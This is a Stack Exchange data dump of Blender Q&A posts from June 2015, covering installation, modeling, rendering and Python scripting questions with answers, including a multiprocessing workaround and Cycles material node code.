  <row Id="32770" PostTypeId="2" ParentId="3470" CreationDate="2015-06-20T23:13:53.633" Score="2" Body="&lt;p&gt;Blender's manual has a table of formats supported features, as well as a hint on which formats to use - if you're not concerned with details of each format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/2.83/files/media/image_formats.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/manual/en/2.83/files/media/image_formats.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="20640" LastEditDate="2020-06-10T18:56:13.753" LastActivityDate="2020-06-10T18:56:13.753" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32772" PostTypeId="1" AcceptedAnswerId="32773" CreationDate="2015-06-21T01:03:19.817" Score="-1" ViewCount="225" Body="&lt;p&gt;I am a Mac user and I am trying to download the latest version of blender that is out, which is Blender 2.75 RC which can be downloaded here:  &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.75&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.75&lt;/a&gt;&lt;br&gt;&#xA;But for some reason when I try to download this file: blender-2.75-rc2-OSX_10.6-x86_64.zip which is for OS X, a web page displaying 403 - Forbidden. One strange thing that I noticed was that I can download the files for Linux and window on my mac, but I get &quot;403 - Forbidden&quot; when I try and download the files of OS X when I'm running OS X?&lt;br&gt;&#xA;I researched and some options others suggested. Those being deleting my web history, website data, and cookies. None of that helped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I download Blender 2.75 RC on my iMac when I get the 403 - Forbidden message?&lt;/p&gt;&#xA;" OwnerUserId="15133" LastEditorUserId="24570" LastEditDate="2018-02-04T18:27:31.350" LastActivityDate="2018-02-04T18:27:31.350" Title="how can I download Blender 2.75 RC for mac?" Tags="&lt;installation&gt;&lt;osx&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-06-21T01:56:14.163" ContentLicense="CC BY-SA 3.0" />
  <row Id="32773" PostTypeId="2" ParentId="32772" CreationDate="2015-06-21T01:39:38.570" Score="2" Body="&lt;p&gt;I get the same on my mac, but I don't think it's a mac issue, I think it's a web server issue on the blender.org site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download a 2.75 pre-release build for OSX here as well: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;https://builder.blender.org/download/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-21T01:39:38.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32774" PostTypeId="2" ParentId="32766" CreationDate="2015-06-21T01:47:12.930" Score="2" Body="&lt;p&gt;I think the quickest way to deal with this issue would be to load the reference image behind the mesh, tab into Edit mode with Proportional editing on and quickly move the tube into place in sections. With proportional editing on you won't have to move every vertices. If you find the proportional editing is distorting your tube shape just decrease the strength/area of the tool's effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't think you're going to be able to have a perfectly curved innner edge on the curve and have it snapped exactly to the sphere's surface because of the hard angles of the sphere (see screen shot). This is because you still want the curve to be smooth which will require some subsurf to be applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rqWCI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-21T02:47:06.337" LastActivityDate="2015-06-21T02:47:06.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32775" PostTypeId="2" ParentId="32748" CreationDate="2015-06-21T01:56:55.343" Score="6" Body="&lt;p&gt;I can't speak for metaballs, but surfaces are the geometry you would use before computers could handle smoothing polygon models. The idea of a nurbs surface is that you have a number of isoparms, which are the control points, much like a lattice. The computer interpolates smoothly between adjacent isoparms, which generates the smooth surface you see in the viewport. It was a very efficient way to render a surface with the hardware of the time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, surfaces can be used for hard surface modeling, ie cars, planes and environments, although their use is fading quickly. &lt;/p&gt;&#xA;" OwnerUserId="6089" LastActivityDate="2015-06-21T01:56:55.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32776" PostTypeId="1" CreationDate="2015-06-21T02:17:10.517" Score="3" ViewCount="2590" Body="&lt;p&gt;Is it possible to do motion capture in Blender? Basically where someone will have a bunch of sensors on them and the person, or objects motion get's turned into 3D motion.&lt;/p&gt;&#xA;" OwnerUserId="15135" LastEditorUserId="8262" LastEditDate="2015-06-21T02:46:08.323" LastActivityDate="2017-02-06T13:28:20.687" Title="Motion capture in Blender" Tags="&lt;animation&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32777" PostTypeId="2" ParentId="32776" CreationDate="2015-06-21T03:05:37.100" Score="1" Body="&lt;p&gt;Check out NiMate, it's an addon that let's you motion capture with a Microsoft Kinnect and use the data in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ni-mate.com/use/blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ni-mate.com/use/blender/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xIVEL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-21T03:05:37.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32778" PostTypeId="2" ParentId="31255" CreationDate="2015-06-21T03:07:59.687" Score="4" Body="&lt;p&gt;The command &lt;code&gt;blender -b myBlenderFile.blend -a&lt;/code&gt; will render an animation of the file &lt;code&gt;myBlenderFile.blend&lt;/code&gt; with the settings with which the file was saved.&lt;/p&gt;&#xA;" OwnerUserId="15136" LastEditorUserId="599" LastEditDate="2015-06-21T07:16:30.327" LastActivityDate="2015-06-21T07:16:30.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32779" PostTypeId="2" ParentId="8530" CreationDate="2015-06-21T06:09:53.307" Score="9" Body="&lt;p&gt;&lt;em&gt;Edit, this workaround is no longer needed as of 2.91.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This looks like a kind of ms-windows specific problem... at least a conflict with having an embedded Python interpreter and the environment which &lt;code&gt;multiprocessing&lt;/code&gt; expects.&#xA;&lt;em&gt;(its not exactly a bug, in that its not like Blender devs can fix some mistake to get this working).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Currently &lt;code&gt;multiprocessing&lt;/code&gt; makes the assumption that its running in &lt;strong&gt;python&lt;/strong&gt; and &lt;strong&gt;not&lt;/strong&gt; running inside an application.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I managed to get multi-processing working on ms-windows, doing some workarounds.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;sys.executable&lt;/code&gt; needs to point to Python executable.&lt;/li&gt;&#xA;&lt;li&gt;The scripts &lt;code&gt;__file__&lt;/code&gt; needs to point to a file on-disk&lt;br&gt;&lt;em&gt;(not always the case - when executing a text block for example)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Heres an example of a workaround:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;# are we running inside Blender?&#xA;bpy = sys.modules.get(&amp;quot;bpy&amp;quot;)&#xA;if bpy is not None:&#xA;    sys.executable = bpy.app.binary_path_python&#xA;    # get the text-block's filepath&#xA;    __file__ = bpy.data.texts[__file__[1:]].filepath&#xA;del bpy, sys&#xA;&#xA;# end workaround!&#xA;# --------------------------------------------------&#xA;&#xA;# Example from&#xA;# https://docs.python.org/3/library/multiprocessing.html&#xA;from multiprocessing import Process&#xA;import os&#xA;&#xA;def info(title):&#xA;    print(title)&#xA;    print('module name:', __name__)&#xA;    if hasattr(os, 'getppid'):  # only available on Unix&#xA;        print('parent process:', os.getppid())&#xA;    print('process id:', os.getpid())&#xA;&#xA;def f(name):&#xA;    info('function f')&#xA;    print('hello', name)&#xA;&#xA;def main():&#xA;    info('main line')&#xA;    p = Process(target=f, args=('bob',))&#xA;    p.start()&#xA;    p.join()&#xA;&#xA;&#xA;if __name__ == '__main__':&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2020-10-28T07:00:36.203" LastActivityDate="2020-10-28T07:00:36.203" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32780" PostTypeId="1" AcceptedAnswerId="32928" CreationDate="2015-06-21T07:15:49.947" Score="1" ViewCount="442" Body="&lt;p&gt;I have various rigs with bones following physics items using the Child Of constraint with Set inverse (although this issue isn't really specific to that constraint, but to any issue where bones follow objects in any sort of way.) What I want to do is run my simulation, which puts my rig into a certain pose, then save this position as a pose that I can later restore without running physics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I cannot do this, as bones that inherit rotation or location from parent objects do not show any rot or loc changes, so there is nothing to save. But there must be some way to get the current positions and convert them to a pose?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2015-06-23T18:35:13.953" LastActivityDate="2015-06-24T15:18:28.210" Title="Get pose from bones that get motion from parent objects" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32781" PostTypeId="2" ParentId="26077" CreationDate="2015-06-21T07:45:48.573" Score="1" Body="&lt;p&gt;I was having this problem and it was driving me bonkers so I started turing off the render view in my my modifiers. When I turned off my multires modifier it fixed the problem... So I just took it off and added a new one and the problem fixed.&lt;/p&gt;&#xA;" OwnerUserId="15137" LastActivityDate="2015-06-21T07:45:48.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32782" PostTypeId="5" CreationDate="2015-06-21T08:09:28.553" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-06-21T08:09:28.553" LastActivityDate="2015-06-21T08:09:28.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32783" PostTypeId="4" CreationDate="2015-06-21T08:09:28.553" Score="0" Body="This tag is for questions about features or behaviors of Blender that are specific to macOS. This includes questions about installation and maintenance. " OwnerUserId="1253" LastEditorUserId="32220" LastEditDate="2018-12-16T21:23:38.497" LastActivityDate="2018-12-16T21:23:38.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32784" PostTypeId="1" CreationDate="2015-06-21T08:41:49.507" Score="0" ViewCount="68" Body="&lt;p&gt;After using a modifier, how can I select a vertex/edge/face created by modifier, without applying the modifier?&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-06-21T11:20:59.387" LastActivityDate="2015-06-21T11:20:59.387" Title="How can I select a vertex/edge/face created by modifer, without applying modifier" Tags="&lt;modifiers&gt;&lt;editing&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32786" PostTypeId="1" AcceptedAnswerId="32901" CreationDate="2015-06-21T11:42:16.897" Score="2" ViewCount="3873" Body="&lt;p&gt;I've been trying to put together a smoke sim in blender 2.74 using the quick smoke preset however have found that it does not show up in the viewport, yet will still render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short i have recently updated my AMD Radeon 6750M drivers and it has given me some issues with using the older versions of blender (2.71&gt;), however i have apparently now managed to fix that issue with the error126 fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had initially thought that the smoke not showing up was an opengl issue caused by the drivers, (especially since opengl render no longer works for me), however having now been able to use 2.71 again i have found that not only does the smoke display in 2.71s viewport, but i can also opengl render in 2.71?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached 3 screenshots of blender 2.71, 2.72b and 2.74 each with the default cube having a quick smoke preset applied to it and the animation played to frame 70. As you can see there does not seem to be any issues with the viewport in 2.71:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qb7wg.png&quot; alt=&quot;2.71 Works!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet nothing displays in 2.72b and 2.74:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xXqkc.png&quot; alt=&quot;2.72b Doesn&amp;#39;t!&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/E1lxT.png&quot; alt=&quot;Neither does 2.74!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has lead me to ponder if blender uses a different opengl version from 2.72 onwards, or whether there's just something blindingly obvious I'm missing (wouldn't be a first! ;) )?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas? Thankyou in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specs:&lt;br&gt;&#xA;Samsung Laptop running Windows 7 x64&lt;br&gt;&#xA;Quadcore Intel i7 CPU&lt;br&gt;&#xA;8GB RAM&lt;br&gt;&#xA;AMD Radeon 6750M GPU and Mobile Intel(R) HD Graphics(?)    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:- Just downloaded the 2.75 Release Candidate, same issue as 2.74, however when i opened the application i was greeted by this message (does not appear when opening 2.71):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b3iPV.png&quot; alt=&quot;Opengl issue?&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15132" LastEditorUserId="12" LastEditDate="2015-06-21T15:58:55.820" LastActivityDate="2015-06-24T00:04:38.807" Title="Why is the smoke preview not showing in Blender's viewport?" Tags="&lt;rendering&gt;&lt;3d-view&gt;&lt;smoke-simulation&gt;&lt;opengl&gt;&lt;versions&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="32787" PostTypeId="1" CreationDate="2015-06-21T11:44:48.970" Score="3" ViewCount="348" Body="&lt;p&gt;I'm trying to set the properties of a &lt;code&gt;Cycles&lt;/code&gt; material, which is linked to a &lt;code&gt;Plane&lt;/code&gt; object, using the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far this is what I've got:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a floor plane object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_plane_add(radius=3, view_align=False, enter_editmode=False, location=(0, 0, 0))&#xA;&#xA;my_floor = bpy.data.objects[&quot;Plane&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the material for my floor, (I'm assuming it does not already exist):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_floors_material_name = &quot;Material&quot;&#xA;&#xA;#create the materials object&#xA;my_floors_material_object =    bpy.data.materials.new(my_floors_material_name)&#xA;&#xA;#Enable 'Use nodes':&#xA;my_floors_material_object.use_nodes = True&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new node type from the list &lt;code&gt;[types.ShaderNode][1]&lt;/code&gt;. I'd like to&#xA;choose the equivalent of &lt;code&gt;node_groups[&quot;Shader Nodetree&quot;].nodes[&quot;Anisotropic BSDF&quot;]&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#create the input node&#xA;shinny_floor_input_node = my_floors_material_nodes.new(type='ShaderNodeBsdfAnisotropic')&#xA;&#xA;#create the output node&#xA;shinny_floor_output_node = my_floors_material_nodes.new(type='ShaderNodeOutputMaterial') &#xA;&#xA;#link the input and output nodes, on the node tree of my object&#xA;    my_floors_material_object.node_tree.links.new(shinny_floor_input_node.outputs[0], shinny_floor_output_node.inputs[0])&#xA;&#xA;&#xA;#this runs and returns &#xA;bpy.data.node_groups['Shader Nodetree']...NodeLink&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign the floor material to the floor object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#assign the material object, to the plane object&#xA;my_floor.data.materials.append( my_floors_material_object )  &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it does not work? Here's the floor I want to create, (the shinny one below the statue)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3oclA.png&quot; alt=&quot;Floor created using GUI&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I get with my current script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rWunH.png&quot; alt=&quot;Floor created using API&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like it should an easy thing to do, but I'm confused? Here's the a link that I used to get started, &lt;a href=&quot;https://blender.stackexchange.com/questions/23436/control-cycles-material-nodes-and-material-properties-in-python/23446#23446&quot;&gt;Control Cycles material nodes and material properties in Python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for any help!&lt;/p&gt;&#xA;" OwnerUserId="15124" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-06-21T13:57:29.380" Title="Example of creating and setting a Cycles material node with the Python API" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="8" ClosedDate="2015-06-21T14:06:42.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="32788" PostTypeId="1" CreationDate="2015-06-21T11:50:03.433" Score="2" ViewCount="139" Body="&lt;p&gt;This didn't used to happen but it seems like a bug I'm not sure. I was messing around with the color ramp of the atmosphere and now part of it appears on the dark side and then cuts off. I haven't changed anything like the emission of the sphere, just the color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yds6v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that the atmosphere disappears where it transitions from day to night but then reappears with a sharp stop. At first I thought it was due to the spheres meeting points but I then moved the camera so that it would render along the side of the sphere (the render below) but it still does it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my node set up for the atmosphere. Everything in the right panel is the same as it was before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5BhxU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my blend file. Not sure how it'll look without the textures.&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/36713&quot; rel=&quot;nofollow noreferrer&quot;&gt;Earth&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="5424" LastEditDate="2015-06-24T08:52:11.773" LastActivityDate="2015-06-24T08:52:11.773" Title="Atmosphere appears on the dark side" Tags="&lt;nodes&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32789" PostTypeId="1" CreationDate="2015-06-21T12:23:24.457" Score="1" ViewCount="102" Body="&lt;p&gt;For a shooting game, I need to make it so when the left mouse button is held down a sound file repeats. If it can be done just using the logic editor that would be good, but use of python would be fine.&#xA;I don't think it's necessary to supply the .blend file, but if you need it then ask.&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-06-21T12:23:24.457" Title="Holding left mouse to loop sound file" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32790" PostTypeId="1" AcceptedAnswerId="32794" CreationDate="2015-06-21T12:36:16.823" Score="0" ViewCount="78" Body="&lt;p&gt;After that I added an icosphere and wanted to change the resolution from 2 to 5, I stupidly mistyped the 5 to 45, so Blender freezes up and forced my computer to reboot. I didn't save the file so I had to redo a lot. Is it possible that Blender saves the file or makes a notification, when it sees that the input value is too much, before executing?&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="2607" LastEditDate="2015-06-21T14:16:49.997" LastActivityDate="2015-06-21T14:16:49.997" Title="Blender forces computer to reboot after mistyping extreme value for resolution icosphere" Tags="&lt;interface&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-06-21T16:06:16.350" ContentLicense="CC BY-SA 3.0" />
  <row Id="32791" PostTypeId="1" CreationDate="2015-06-21T13:40:48.123" Score="1" ViewCount="31" Body="&lt;p&gt;I use two planes to emit light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I exclude them from being visible in the final render BUT still have their light?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;br&gt;&#xA;Armin&lt;/p&gt;&#xA;" OwnerUserId="14856" LastEditorUserId="241" LastEditDate="2015-06-21T13:54:08.417" LastActivityDate="2015-06-21T13:54:08.417" Title="How can I exclude meshes or objects from being renderd" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;camera&gt;&lt;light&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-06-21T16:06:04.560" ContentLicense="CC BY-SA 3.0" />
  <row Id="32792" PostTypeId="1" CreationDate="2015-06-21T13:43:02.047" Score="0" ViewCount="713" Body="&lt;p&gt;I used a plane to start to make a character. When I started to convert it into 3d the I can move any of the vertices on the global x or z directions, but I cannot move any of the vertices on the global y axis, even when the Transformation orientation is switched to global. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A copy of the blend file can be found at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mediafire.com/?2b7jks1q6dqy1bu&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mediafire.com/?2b7jks1q6dqy1bu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here is a screenshot illustrating the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sZkD0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15143" LastEditorUserId="3401" LastEditDate="2015-06-22T16:51:47.717" LastActivityDate="2016-07-29T04:25:06.233" Title="How to move vertices while modeling?" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;vertices&gt;&lt;edges&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32793" PostTypeId="1" CreationDate="2015-06-21T13:56:37.427" Score="1" ViewCount="88" Body="&lt;p&gt;Do you know of any text file formats (human readable) that blender can export to &lt;strong&gt;store the bind pose bones/joints with the offsets and rotations&lt;/strong&gt; (in quaternions) in parent space?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I know this question is very specific, but I don't know where else to ask.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eZeNM.png&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I know that the example is 2D and uses euler rotations but its just to show the different spaces. &lt;/p&gt;&#xA;" OwnerUserId="15144" LastEditorUserId="3710" LastEditDate="2015-06-22T06:49:55.110" LastActivityDate="2015-06-22T06:49:55.110" Title="File format storing bind pose joints in parent space" Tags="&lt;armature&gt;&lt;file-format&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32794" PostTypeId="2" ParentId="32790" CreationDate="2015-06-21T14:14:29.743" Score="2" Body="&lt;p&gt;Fixed as &lt;a href=&quot;https://developer.blender.org/rB60575480583500f27698e2e3e372ec8fab40033e&quot; rel=&quot;nofollow&quot;&gt;rB60575480&lt;/a&gt; (now max possible value is &lt;strong&gt;10&lt;/strong&gt; here, which already means 2.6M vertices…).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But please next time report such issues on &lt;a href=&quot;https://developer.blender.org/maniphest/task/create/?project=2&amp;amp;type=Bug&quot; rel=&quot;nofollow&quot;&gt;our bug tracker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-06-21T14:14:29.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32796" PostTypeId="1" CreationDate="2015-06-21T15:19:58.350" Score="2" ViewCount="173" Body="&lt;p&gt;My question is, does using Blender (since it doesn't require an installation as far as I understand) tamper in any way with my system, install additional/required/third party software or make any long lasting changes to my registry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Windows 8.1 64bit with all the current updates at the moment.&lt;/p&gt;&#xA;" OwnerUserId="15145" LastEditorUserId="2217" LastEditDate="2015-06-21T17:42:13.747" LastActivityDate="2017-02-24T21:54:43.913" Title="Does installing/running Blender tamper in any way with my system/settings or install additional software/required components?" Tags="&lt;windows&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32797" PostTypeId="1" AcceptedAnswerId="32806" CreationDate="2015-06-21T15:27:37.630" Score="1" ViewCount="144" Body="&lt;p&gt;I hit &lt;kbD&gt;F12&lt;/kbd&gt; to start a huge render just before I left work on Friday. Now the render is ready, but Blender is just sitting there consuming a lot of memory. I'd like to get the render saved to disk, so I could kill the Blender process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to access a render that is sitting in a Blender instance on a remote Linux machine?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="241" LastEditDate="2015-06-21T15:49:54.447" LastActivityDate="2015-06-21T19:33:20.980" Title="Accessing a render in a remote GUI instance" Tags="&lt;rendering&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32798" PostTypeId="1" CreationDate="2015-06-21T15:48:35.713" Score="4" ViewCount="713" Body="&lt;p&gt;I can bake to textures using &lt;code&gt;bpy.ops.object.bake()&lt;/code&gt;. But because this function waits until completion, I then use this: &lt;code&gt;bpy.ops.object.bake(&quot;INVOKE_DEFAULT&quot;)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it displays this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gYtMN.png&quot; alt=&quot;Bake progress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found this in Blender's source (object_bake_api.c):&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;typedef struct BakeAPIRender {&#xA;    /* DOESNT MATTER TO THIS QUESTION */&#xA;&#xA;    int result;&#xA;    bool ready;&#xA;&#xA;    /* callbacks */&#xA;    Render *render;&#xA;    float *progress;&#xA;    short *do_update;&#xA;&#xA;    /* for redrawing */&#xA;    ScrArea *sa;&#xA;} BakeAPIRender;&#xA;&#xA;/* callbacks */&#xA;&#xA;static void bake_progress_update(void *bjv, float progress)&#xA;{&#xA;    BakeAPIRender *bj = bjv;&#xA;&#xA;    if (bj-&amp;gt;progress &amp;amp;&amp;amp; *bj-&amp;gt;progress != progress) {&#xA;        *bj-&amp;gt;progress = progress;&#xA;&#xA;        /* make jobs timer to send notifier */&#xA;        *(bj-&amp;gt;do_update) = true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd want to get that &lt;code&gt;progress&lt;/code&gt; variable, but this code is C++. So how can I get bake progress using Python scripts? Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I also couldn't find any information in the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS2: Or maybe some kind of time approximation, so the user would at least know how much time it's going to take.&lt;/p&gt;&#xA;" OwnerUserId="15146" LastEditorUserId="15146" LastEditDate="2015-06-26T15:03:53.340" LastActivityDate="2015-06-26T15:03:53.340" Title="How to get cycles bake progress in Python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
